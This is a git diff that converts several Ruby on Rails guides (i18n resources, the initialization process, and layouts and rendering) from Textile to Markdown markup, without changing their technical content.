+* [rails-i18n.org](http://rails-i18n.org) - Homepage of the rails-i18n project. You can find lots of useful resources on the [wiki](http://rails-i18n.org/wiki).
+* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list.
+* [Github: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
+* [Github: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem.
+* [Lighthouse: rails-i18n](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview) - Issue tracker for the rails-i18n project.
+* [Lighthouse: i18n](http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview) - Issue tracker for the i18n gem.
-h3. Authors
+Authors
+-------
-* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
-* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
+* [Sven Fuchs](http://www.workingwithrails.com/person/9963-sven-fuchs) (initial author)
+* [Karel Minařík](http://www.workingwithrails.com/person/7476-karel-mina-k)
-If you found this guide useful, please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
+If you found this guide useful, please consider recommending its authors on [workingwithrails](http://www.workingwithrails.com).
-h3. Footnotes
+Footnotes
+---------
-fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
-fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
+[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
-fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
+[^3]: One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
diff --git a/guides/source/initialization.textile b/guides/source/initialization.md
index b23f31cb1a..c760a18dda 100644
--- a/guides/source/initialization.textile
+++ b/guides/source/initialization.md
@@ -1,11 +1,12 @@
-h2. The Rails Initialization Process
+The Rails Initialization Process
+================================
This guide explains the internals of the initialization process in Rails
as of Rails 4. It is an extremely in-depth guide and recommended for advanced Rails developers.
-* Using +rails server+
+* Using `rails server`
-endprologue.
+--------------------------------------------------------------------------------
This guide goes through every method call that is
required to boot up the Ruby on Rails stack for a default Rails 4
@@ -15,20 +16,21 @@ server+ to boot your app.
NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
-TIP: If you want to follow along while browsing the Rails "source
-code":https://github.com/rails/rails, we recommend that you use the +t+
+TIP: If you want to follow along while browsing the Rails [source
+code](https://github.com/rails/rails), we recommend that you use the `t`
key binding to open the file finder inside GitHub and find files
quickly.
-h3. Launch!
+Launch!
+-------
-A Rails application is usually started with the command +rails server+.
+A Rails application is usually started with the command `rails server`.
-h4. +bin/rails+
+### `bin/rails`
-The actual +rails+ command is kept in _bin/rails_:
+The actual `rails` command is kept in _bin/rails_:
-<ruby>
+```ruby
#!/usr/bin/env ruby
if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git'))
@@ -36,16 +38,16 @@ if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git'))
$:.unshift(railties_path)
end
require "rails/cli"
-</ruby>
+```
-This file will first attempt to push the +railties/lib+ directory if
-present, and then requires +rails/cli+.
+This file will first attempt to push the `railties/lib` directory if
+present, and then requires `rails/cli`.
-h4. +railties/lib/rails/cli.rb+
+### `railties/lib/rails/cli.rb`
This file looks like this:
-<ruby>
+```ruby
require 'rbconfig'
require 'rails/script_rails_loader'
@@ -62,11 +64,11 @@ if ARGV.first == 'plugin'
else
require 'rails/commands/application'
end
-</ruby>
+```
-The +rbconfig+ file from the Ruby standard library provides us with the +RbConfig+ class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in +railties/lib/rails/script_rails_loader+.
+The `rbconfig` file from the Ruby standard library provides us with the `RbConfig` class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in `railties/lib/rails/script_rails_loader`.
-<ruby>
+```ruby
require 'pathname'
module Rails
@@ -77,19 +79,19 @@ module Rails
end
end
-</ruby>
+```
-The +rails/script_rails_loader+ file uses +RbConfig::Config+ to obtain the +bin_dir+ and +ruby_install_name+ values for the configuration which together form the path to the Ruby interpreter. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method.
+The `rails/script_rails_loader` file uses `RbConfig::Config` to obtain the `bin_dir` and `ruby_install_name` values for the configuration which together form the path to the Ruby interpreter. The `RbConfig::CONFIG["EXEEXT"]` will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in `exec_script_rails!`. As for the `SCRIPT_RAILS` constant, we'll see that when we get to the `in_rails_application?` method.
-Back in +rails/cli+, the next line is this:
+Back in `rails/cli`, the next line is this:
-<ruby>
+```ruby
Rails::ScriptRailsLoader.exec_script_rails!
-</ruby>
+```
-This method is defined in +rails/script_rails_loader+:
+This method is defined in `rails/script_rails_loader`:
-<ruby>
+```ruby
def self.exec_script_rails!
cwd = Dir.pwd
return unless in_rails_application? || in_rails_application_subdirectory?
@@ -102,67 +104,68 @@ def self.exec_script_rails!
rescue SystemCallError
# could not chdir, no problem just return
end
-</ruby>
+```
-This method will first check if the current working directory (+cwd+) is a Rails application or a subdirectory of one. This is determined by the +in_rails_application?+ method:
+This method will first check if the current working directory (`cwd`) is a Rails application or a subdirectory of one. This is determined by the `in_rails_application?` method:
-<ruby>
+```ruby
def self.in_rails_application?
File.exists?(SCRIPT_RAILS)
end
-</ruby>
+```
-The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+ then +in_rails_application_subdirectory?+ will be used:
+The `SCRIPT_RAILS` constant defined earlier is used here, with `File.exists?` checking for its presence in the current directory. If this method returns `false` then `in_rails_application_subdirectory?` will be used:
-<ruby>
+```ruby
def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent)
end
-</ruby>
+```
-This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory containing this file is reached then this line will run:
+This climbs the directory tree until it reaches a path which contains a `script/rails` file. If a directory containing this file is reached then this line will run:
-<ruby>
+```ruby
exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
-</ruby>
+```
-This is effectively the same as running +ruby script/rails [arguments]+, where +[arguments]+ at this point in time is simply "server".
+This is effectively the same as running `ruby script/rails [arguments]`, where `[arguments]` at this point in time is simply "server".
-h3. Rails Initialization
+Rails Initialization
+--------------------
Only now we finally start the real initialization process, beginning
-with +script/rails+.
+with `script/rails`.
-TIP: If you execute +script/rails+ directly from your Rails app you will
+TIP: If you execute `script/rails` directly from your Rails app you will
skip executing all the code that we've just described.
-h4. +script/rails+
+### `script/rails`
This file is as follows:
-<ruby>
+```ruby
APP_PATH = File.expand_path('../../config/application', __FILE__)
require File.expand_path('../../config/boot', __FILE__)
require 'rails/commands'
-</ruby>
+```
-The +APP_PATH+ constant will be used later in +rails/commands+. The +config/boot+ file referenced here is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up.
+The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up.
-h4. +config/boot.rb+
+### `config/boot.rb`
-+config/boot.rb+ contains:
+`config/boot.rb` contains:
-<ruby>
+```ruby
# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
-</ruby>
+```
-In a standard Rails application, there's a +Gemfile+ which declares all
-dependencies of the application. +config/boot.rb+ sets
-+ENV['BUNDLE_GEMFILE']+ to the location of this file. If the Gemfile
-exists, +bundler/setup+ is then required.
+In a standard Rails application, there's a `Gemfile` which declares all
+dependencies of the application. `config/boot.rb` sets
+`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile
+exists, `bundler/setup` is then required.
The gems that a Rails 4 application depends on are as follows:
@@ -194,11 +197,11 @@ TODO: change these when the Rails 4 release is near.
* treetop (1.4.9)
* tzinfo (0.3.23)
-h4. +rails/commands.rb+
+### `rails/commands.rb`
-Once +config/boot.rb+ has finished, the next file that is required is +rails/commands+ which will execute a command based on the arguments passed in. In this case, the +ARGV+ array simply contains +server+ which is extracted into the +command+ variable using these lines:
+Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines:
-<ruby>
+```ruby
ARGV << '--help' if ARGV.empty?
aliases = {
@@ -212,14 +215,14 @@ aliases = {
command = ARGV.shift
command = aliases[command] || command
-</ruby>
+```
TIP: As you can see, an empty ARGV list will make Rails show the help
snippet.
-If we used <tt>s</tt> rather than +server+, Rails will use the +aliases+ defined in the file and match them to their respective commands. With the +server+ command, Rails will run this code:
+If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code:
-<ruby>
+```ruby
when 'server'
# Change to the application's path if there is no config.ru file in current dir.
# This allows us to run script/rails server from other directories, but still get
@@ -234,73 +237,73 @@ when 'server'
Dir.chdir(Rails.application.root)
server.start
}
-</ruby>
+```
-This file will change into the root of the directory (a path two directories back from +APP_PATH+ which points at +config/application.rb+), but only if the +config.ru+ file isn't found. This then requires +rails/commands/server+ which sets up the +Rails::Server+ class.
+This file will change into the root of the directory (a path two directories back from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class.
-<ruby>
+```ruby
require 'fileutils'
require 'optparse'
require 'action_dispatch'
module Rails
class Server < ::Rack::Server
-</ruby>
+```
-+fileutils+ and +optparse+ are standard Ruby libraries which provide helper functions for working with files and parsing options.
+`fileutils` and `optparse` are standard Ruby libraries which provide helper functions for working with files and parsing options.
-h4. +actionpack/lib/action_dispatch.rb+
+### `actionpack/lib/action_dispatch.rb`
Action Dispatch is the routing component of the Rails framework.
It adds functionalities like routing, session, and common middlewares.
-h4. +rails/commands/server.rb+
+### `rails/commands/server.rb`
-The +Rails::Server+ class is defined in this file as inheriting from +Rack::Server+. When +Rails::Server.new+ is called, this calls the +initialize+ method in +rails/commands/server.rb+:
+The `Rails::Server` class is defined in this file as inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`:
-<ruby>
+```ruby
def initialize(*)
super
set_environment
end
-</ruby>
+```
-Firstly, +super+ is called which calls the +initialize+ method on +Rack::Server+.
+Firstly, `super` is called which calls the `initialize` method on `Rack::Server`.
-h4. Rack: +lib/rack/server.rb+
+### Rack: `lib/rack/server.rb`
-+Rack::Server+ is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
+`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
-The +initialize+ method in +Rack::Server+ simply sets a couple of variables:
+The `initialize` method in `Rack::Server` simply sets a couple of variables:
-<ruby>
+```ruby
def initialize(options = nil)
@options = options
@app = options[:app] if options && options[:app]
end
-</ruby>
+```
-In this case, +options+ will be +nil+ so nothing happens in this method.
+In this case, `options` will be `nil` so nothing happens in this method.
-After +super+ has finished in +Rack::Server+, we jump back to +rails/commands/server.rb+. At this point, +set_environment+ is called within the context of the +Rails::Server+ object and this method doesn't appear to do much at first glance:
+After `super` has finished in `Rack::Server`, we jump back to `rails/commands/server.rb`. At this point, `set_environment` is called within the context of the `Rails::Server` object and this method doesn't appear to do much at first glance:
-<ruby>
+```ruby
def set_environment
ENV["RAILS_ENV"] ||= options[:environment]
end
-</ruby>
+```
-In fact, the +options+ method here does quite a lot. This method is defined in +Rack::Server+ like this:
+In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this:
-<ruby>
+```ruby
def options
@options ||= parse_options(ARGV)
end
-</ruby>
+```
-Then +parse_options+ is defined like this:
+Then `parse_options` is defined like this:
-<ruby>
+```ruby
def parse_options(args)
options = default_options
@@ -313,11 +316,11 @@ def parse_options(args)
ENV["RACK_ENV"] = options[:environment]
options
end
-</ruby>
+```
-With the +default_options+ set to this:
+With the `default_options` set to this:
-<ruby>
+```ruby
def default_options
{
:environment => ENV['RACK_ENV'] || "development",
@@ -328,19 +331,19 @@ def default_options
:config => "config.ru"
}
end
-</ruby>
+```
-There is no +REQUEST_METHOD+ key in +ENV+ so we can skip over that line. The next line merges in the options from +opt_parser+ which is defined plainly in +Rack::Server+
+There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`
-<ruby>
+```ruby
def opt_parser
Options.new
end
-</ruby>
+```
-The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ to take different arguments. Its +parse!+ method begins like this:
+The class **is** defined in `Rack::Server`, but is overwritten in `Rails::Server` to take different arguments. Its `parse!` method begins like this:
-<ruby>
+```ruby
def parse!(args)
args, options = args.dup, {}
@@ -349,24 +352,24 @@ def parse!(args)
opts.on("-p", "--port=port", Integer,
"Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
...
-</ruby>
+```
-This method will set up keys for the +options+ which Rails will then be
-able to use to determine how its server should run. After +initialize+
-has finished, we jump back into +rails/server+ where +APP_PATH+ (which was
+This method will set up keys for the `options` which Rails will then be
+able to use to determine how its server should run. After `initialize`
+has finished, we jump back into `rails/server` where `APP_PATH` (which was
set earlier) is required.
-h4. +config/application+
+### `config/application`
-When +require APP_PATH+ is executed, +config/application.rb+ is loaded.
+When `require APP_PATH` is executed, `config/application.rb` is loaded.
This file exists in your app and it's free for you to change based
on your needs.
-h4. +Rails::Server#start+
+### `Rails::Server#start`
-After +congif/application+ is loaded, +server.start+ is called. This method is defined like this:
+After `congif/application` is loaded, `server.start` is called. This method is defined like this:
-<ruby>
+```ruby
def start
url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
@@ -395,19 +398,19 @@ ensure
# If we call 'options' with it unset, we get double help banners.
puts 'Exiting' unless @options && options[:daemonize]
end
-</ruby>
+```
This is where the first output of the Rails initialization happens. This
-method creates a trap for +INT+ signals, so if you +CTRL-C+ the server,
+method creates a trap for `INT` signals, so if you `CTRL-C` the server,
it will exit the process. As we can see from the code here, it will
-create the +tmp/cache+, +tmp/pids+, +tmp/sessions+ and +tmp/sockets+
-directories. It then calls +wrapped_app+ which is responsible for
+create the `tmp/cache`, `tmp/pids`, `tmp/sessions` and `tmp/sockets`
+directories. It then calls `wrapped_app` which is responsible for
creating the Rack app, before creating and assigning an
-instance of +ActiveSupport::Logger+.
+instance of `ActiveSupport::Logger`.
-The +super+ method will call +Rack::Server.start+ which begins its definition like this:
+The `super` method will call `Rack::Server.start` which begins its definition like this:
-<ruby>
+```ruby
def start &blk
if options[:warn]
$-w = true
@@ -449,19 +452,19 @@ def start &blk
server.run wrapped_app, options, &blk
end
-</ruby>
+```
-The interesting part for a Rails app is the last line, +server.run+. Here we encounter the +wrapped_app+ method again, which this time
+The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time
we're going to explore more (even though it was executed before, and
thus memorized by now).
-<ruby>
+```ruby
@wrapped_app ||= build_app app
-</ruby>
+```
-The +app+ method here is defined like so:
+The `app` method here is defined like so:
-<ruby>
+```ruby
def app
@app ||= begin
if !::File.exist? options[:config]
@@ -473,56 +476,57 @@ def app
app
end
end
-</ruby>
+```
-The +options[:config]+ value defaults to +config.ru+ which contains this:
+The `options[:config]` value defaults to `config.ru` which contains this:
-<ruby>
+```ruby
# This file is used by Rack-based servers to start the application.
require ::File.expand_path('../config/environment', __FILE__)
run <%= app_const %>
-</ruby>
+```
-The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:
+The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
-<ruby>
-app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
+```ruby
+app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
TOPLEVEL_BINDING, config
-</ruby>
+```
-The +initialize+ method of +Rack::Builder+ will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run:
+The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:
-<ruby>
+```ruby
require ::File.expand_path('../config/environment', __FILE__)
-</ruby>
+```
-h4. +config/environment.rb+
+### `config/environment.rb`
-This file is the common file required by +config.ru+ (+rails server+) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
+This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
-This file begins with requiring +config/application.rb+.
+This file begins with requiring `config/application.rb`.
-h4. +config/application.rb+
+### `config/application.rb`
-This file requires +config/boot.rb+, but only if it hasn't been required before, which would be the case in +rails server+ but *wouldn't* be the case with Passenger.
+This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger.
Then the fun begins!
-h3. Loading Rails
+Loading Rails
+-------------
-The next line in +config/application.rb+ is:
+The next line in `config/application.rb` is:
-<ruby>
+```ruby
require 'rails/all'
-</ruby>
+```
-h4. +railties/lib/rails/all.rb+
+### `railties/lib/rails/all.rb`
This file is responsible for requiring all the individual frameworks of Rails:
-<ruby>
+```ruby
require "rails"
%w(
@@ -537,7 +541,7 @@ require "rails"
rescue LoadError
end
end
-</ruby>
+```
This is where all the Rails frameworks are loaded and thus made
available to the application. We won't go into detail of what happens
@@ -547,43 +551,43 @@ explore them on your own.
For now, just keep in mind that common functionality like Rails engines,
I18n and Rails configuration is all being defined here.
-h4. Back to +config/environment.rb+
+### Back to `config/environment.rb`
-When +config/application.rb+ has finished loading Rails, and defined
-your application namespace, you go back to +config/environment.rb+,
+When `config/application.rb` has finished loading Rails, and defined
+your application namespace, you go back to `config/environment.rb`,
where your application is initialized. For example, if you application was called
-+Blog+, here you would find +Blog::Application.initialize!+, which is
-defined in +rails/application.rb+
+`Blog`, here you would find `Blog::Application.initialize!`, which is
+defined in `rails/application.rb`
-h4. +railties/lib/rails/application.rb+
+### `railties/lib/rails/application.rb`
-The +initialize!+ method looks like this:
+The `initialize!` method looks like this:
-<ruby>
+```ruby
def initialize!(group=:default) #:nodoc:
raise "Application has been already initialized." if @initialized
run_initializers(group, self)
@initialized = true
self
end
-</ruby>
+```
As you can see, you can only initialize an app once. This is also where the initializers are run.
TODO: review this
The initializers code itself is tricky. What Rails is doing here is it
-traverses all the class ancestors looking for an +initializers+ method,
-sorting them and running them. For example, the +Engine+ class will make
-all the engines available by providing the +initializers+ method.
+traverses all the class ancestors looking for an `initializers` method,
+sorting them and running them. For example, the `Engine` class will make
+all the engines available by providing the `initializers` method.
-After this is done we go back to +Rack::Server+
+After this is done we go back to `Rack::Server`
-h4. Rack: lib/rack/server.rb
+### Rack: lib/rack/server.rb
-Last time we left when the +app+ method was being defined:
+Last time we left when the `app` method was being defined:
-<ruby>
+```ruby
def app
@app ||= begin
if !::File.exist? options[:config]
@@ -595,12 +599,12 @@ def app
app
end
end
-</ruby>
+```
-At this point +app+ is the Rails app itself (a middleware), and what
+At this point `app` is the Rails app itself (a middleware), and what
happens next is Rack will call all the provided middlewares:
-<ruby>
+```ruby
def build_app(app)
middleware[options[:environment]].reverse_each do |middleware|
middleware = middleware.call(self) if middleware.respond_to?(:call)
@@ -610,20 +614,20 @@ def build_app(app)
end
app
end
-</ruby>
+```
-Remember, +build_app+ was called (by wrapped_app) in the last line of +Server#start+.
+Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`.
Here's how it looked like when we left:
-<ruby>
+```ruby
server.run wrapped_app, options, &blk
-</ruby>
+```
-At this point, the implementation of +server.run+ will depend on the
+At this point, the implementation of `server.run` will depend on the
server you're using. For example, if you were using Mongrel, here's what
-the +run+ method would look like:
+the `run` method would look like:
-<ruby>
+```ruby
def self.run(app, options={})
server = ::Mongrel::HttpServer.new(
options[:Host] || '0.0.0.0',
@@ -655,7 +659,7 @@ def self.run(app, options={})
yield server if block_given?
server.run.join
end
-</ruby>
+```
We won't dig into the server configuration itself, but this is
the last piece of our journey in the Rails initialization process.
diff --git a/guides/source/layouts_and_rendering.textile b/guides/source/layouts_and_rendering.md
index 32ceecea18..8277859232 100644
--- a/guides/source/layouts_and_rendering.textile
+++ b/guides/source/layouts_and_rendering.md
@@ -1,4 +1,5 @@
-h2. Layouts and Rendering in Rails
+Layouts and Rendering in Rails
+==============================
This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
@@ -7,60 +8,62 @@ This guide covers the basic layout features of Action Controller and Action View
* Use partials to DRY up your views
* Use nested layouts (sub-templates)
-endprologue.
+--------------------------------------------------------------------------------
-h3. Overview: How the Pieces Fit Together
+Overview: How the Pieces Fit Together
+-------------------------------------
This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
-h3. Creating Responses
+Creating Responses
+------------------
From the controller's point of view, there are three ways to create an HTTP response:
-* Call +render+ to create a full response to send back to the browser
-* Call +redirect_to+ to send an HTTP redirect status code to the browser
-* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser
+* Call `render` to create a full response to send back to the browser
+* Call `redirect_to` to send an HTTP redirect status code to the browser
+* Call `head` to create a response consisting solely of HTTP headers to send back to the browser
-h4. Rendering by Default: Convention Over Configuration in Action
+### Rendering by Default: Convention Over Configuration in Action
-You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your +BooksController+ class:
+You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your `BooksController` class:
-<ruby>
+```ruby
class BooksController < ApplicationController
end
-</ruby>
+```
And the following in your routes file:
-<ruby>
+```ruby
resources :books
-</ruby>
+```
-And you have a view file +app/views/books/index.html.erb+:
+And you have a view file `app/views/books/index.html.erb`:
-<ruby>
+```html+erb
<h1>Books are coming soon!</h1>
-</ruby>
+```
-Rails will automatically render +app/views/books/index.html.erb+ when you navigate to +/books+ and you will see "Books are coming soon!" on your screen.
+Rails will automatically render `app/views/books/index.html.erb` when you navigate to `/books` and you will see "Books are coming soon!" on your screen.
-However a coming soon screen is only minimally useful, so you will soon create your +Book+ model and add the index action to +BooksController+:
+However a coming soon screen is only minimally useful, so you will soon create your `Book` model and add the index action to `BooksController`:
-<ruby>
+```ruby
class BooksController < ApplicationController
def index
@books = Book.all
end
end
-</ruby>
+```
-Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the +action_name.html.erb+ template in the controller's view path and render it. So in this case, Rails will render the +app/views/books/index.html.erb+ file.
+Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the `action_name.html.erb` template in the controller's view path and render it. So in this case, Rails will render the `app/views/books/index.html.erb` file.
If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
-<ruby>
+```html+erb
<h1>Listing Books</h1>
<table>
@@ -86,27 +89,27 @@ If we want to display the properties of all the books in our view, we can do so
<br />
<%= link_to "New book", new_book_path %>
-</ruby>
+```
-NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator).
+NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator).
-h4. Using +render+
+### Using `render`
-In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+In most cases, the `ActionController::Base#render` method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of `render`. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
-TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
+TIP: If you want to see the exact results of a call to `render` without needing to inspect it in a browser, you can call `render_to_string`. This method takes exactly the same options as `render`, but it returns a string instead of sending a response back to the browser.
-h5. Rendering Nothing
+#### Rendering Nothing
-Perhaps the simplest thing you can do with +render+ is to render nothing at all:
+Perhaps the simplest thing you can do with `render` is to render nothing at all:
-<ruby>
+```ruby
render :nothing => true
-</ruby>
+```
If you look at the response for this using cURL, you will see the following:
-<shell>
+```bash
$ curl -i 127.0.0.1:3000/books
HTTP/1.1 200 OK
Connection: close
@@ -119,17 +122,17 @@ Cache-Control: no-cache
$
-</shell>
+```
-We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed.
+We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed.
-TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
+TIP: You should probably be using the `head` method, discussed later in this guide, instead of `render :nothing`. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
-h5. Rendering an Action's View
+#### Rendering an Action's View
-If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
+If you want to render the view that corresponds to a different action within the same template, you can use `render` with the name of the view:
-<ruby>
+```ruby
def update
@book = Book.find(params[:id])
if @book.update_attributes(params[:book])
@@ -138,13 +141,13 @@ def update
render "edit"
end
end
-</ruby>
+```
-If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
+If the call to `update_attributes` fails, calling the `update` action in this controller will render the `edit.html.erb` template belonging to the same controller.
If you prefer, you can use a symbol instead of a string to specify the action to render:
-<ruby>
+```ruby
def update
@book = Book.find(params[:id])
if @book.update_attributes(params[:book])
@@ -153,11 +156,11 @@ def update
render :edit
end
end
-</ruby>
+```
-To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary in Rails 3.0):
+To be explicit, you can use `render` with the `:action` option (though this is no longer necessary in Rails 3.0):
-<ruby>
+```ruby
def update
@book = Book.find(params[:id])
if @book.update_attributes(params[:book])
@@ -166,52 +169,52 @@ def update
render :action => "edit"
end
end
-</ruby>
+```
-WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
+WARNING: Using `render` with `:action` is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling `render`.
-h5. Rendering an Action's Template from Another Controller
+#### Rendering an Action's Template from Another Controller
-What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
+What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with `render`, which accepts the full path (relative to `app/views`) of the template to render. For example, if you're running code in an `AdminProductsController` that lives in `app/controllers/admin`, you can render the results of an action to a template in `app/views/products` this way:
-<ruby>
+```ruby
render "products/show"
-</ruby>
+```
